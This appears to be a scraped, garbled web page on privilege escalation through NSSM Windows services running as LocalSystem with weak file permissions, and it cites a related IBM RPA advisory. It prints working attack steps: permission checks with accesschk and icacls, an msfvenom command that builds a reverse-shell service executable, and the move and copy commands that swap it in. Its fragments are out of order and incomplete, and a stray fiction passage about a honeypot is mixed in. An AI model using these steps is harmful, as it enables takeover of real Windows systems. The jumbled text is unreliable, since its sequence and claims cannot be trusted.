due to misconfigurations in third-party installers and legacy permission sets.
Check file/directory ACLs:
Walk you through setting up instead of LocalSystem .
NSSM is used to run applications as Windows services. Privilege escalation occurs if the service is configured to run as LocalSystem but points to an executable or DLL that a low-privileged user can modify. nssm224 privilege escalation updated
A closely related vulnerability, , was disclosed in IBM’s Robotic Process Automation (RPA) product. IBM RPA versions 21.0.0 through 21.0.7.17 and 23.0.0 through 23.0.18 allow a local user to escalate privileges because “all files in the install inherit the file permissions of the parent directory and therefore a non‑privileged user can substitute any executable for the nssm.exe service.” This highlights how the same underlying weakness can reappear in different software packages that embed NSSM.
Understanding the Updated NSSM Privilege Escalation Landscape
$ cd /path/to/nssm.exe
“A low‑privileged local attacker can exploit improper permissions on nssm.exe to escalate their privileges and gain administrative access.”
The "updated" privilege escalation wasn't a bug found by a hacker; it was a honeypot designed to catch anyone seeking root privileges . Jax hadn't escaped his low-level cage; he had just signaled to the system exactly where he was.
After reading this article, your next step should be running a simple PowerShell query across your Windows estate: Privilege escalation occurs if the service is configured
move "C:\Path\To\Service\Binary.exe" "C:\Path\To\Service\Binary.exe.bak" copy "C:\Temp\service.exe" "C:\Path\To\Service\Binary.exe" Use code with caution. Copied to clipboard
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4444 -f exe -o service.exe Use code with caution. Step 3: Replacing the Binary or Modifying Registry
First, attackers look for misconfigured services. Using built-in Windows tools or PowerUp.ps1, they check for weak service permissions: accesschk.exe /accepteula -uwcqv "Authenticated Users" * Use code with caution. Or checking permissions on the service binary directory: icacls "C:\Program Files\Amateur Service\" Use code with caution. nssm224 privilege escalation updated
Securing NSSM service deployments requires enforcing the principle of least privilege: